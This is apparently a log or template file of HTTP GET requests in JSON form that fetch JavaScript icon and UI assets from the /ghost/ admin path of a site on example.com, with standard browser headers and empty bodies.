{"method": "GET", "target": "/ghost/assets/rocket-CA4Xy7UD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/ticket-DZPWSm3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/panel-right-DSxQPvgK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/list-filter-plus-DfUqgJ8X.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chart-no-axes-column-BrpLYwIe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/check-BiQqsmBo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chevron-left-wJGECQn7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chevron-right-vFyqDRE3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chevron-up-Ca2VI5ye.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/circle-alert-C1QHFpHs.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/info-BifJoFuF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/circle-x-C1RC-lFT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/circle-question-mark-Cgm_Ty1J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mail-minus-BkihFWcb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/circle-fxmCMRvb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/clock-B9ZlYmYW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-C6dh2TtS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/cloud-off-DOHpaTme.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/code-DG4vO94L.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/coins-CumgzPZa.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/copy-3K3KXqHW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/credit-card-eZVjvrhJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pin-off-lnj6yrbM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/download-C43CSKLy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/ellipsis-DCpJZgxv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/external-link-CKnhHaI-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/eye-off-6sJT53Wg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/eye-BUSwIvtb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/text-wrap-D8X937cr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mouse-pointer-2-off-JHhWtGhM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/gift-CjBqHEmp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/globe-B4vZvmY9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/hash-By5cPrAh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/heart-CDBO0M2K.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/history-BLta4f7G.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-round-plus-CNwSXyN2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/image-DJkRwGFl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/plug-BeLrBarN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/inbox-COmMmFZS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/smartphone-j5_wyhqO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/layers-7kDTLSGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/link-CZvXk_iN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/list-filter-Bt2MgNgY.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/map-pin-DPhi-Z-z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/loader-circle-DR6LgQk9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/lock-CJUB02yf.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/log-out-ClF6eb3N.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mouse-pointer-click-IX513WkU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-pen-DhntSZKe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mail-warning-BcU9ft9M.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mail-x-CHliXg1j.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mail-PBEdl0JE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/megaphone-CACSVFEk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/menu-DwekVO1I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/message-circle-off-DoxKUv2y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/message-circle-Dkb2Sjq_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/message-square-off-Rea4Wik2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/message-square-DRPo5CWb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/minus-9ieoP52m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/panel-left-Dum5PjJB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pen-line-D0oKPczj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pen-i7U0QAik.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pencil-DZetlUon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pipette-B0ss10AX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/plus-B4c_-nfT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/rectangle-vertical-_u1GWlCm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-2-C4mzAnNo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/repeat-2-D9d_VFn2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/repeat-nLPwqdMF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/reply-BH3O9H3I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/search-Bl7qfg4J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/search-x-DYxBa1EF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/send-BTCZEaT4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/text-align-center-DVac9_Hi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/share-ZZz95KTn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sprout-CVztvAnl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/square-B-5NhIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/squircle-B733mDoc.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
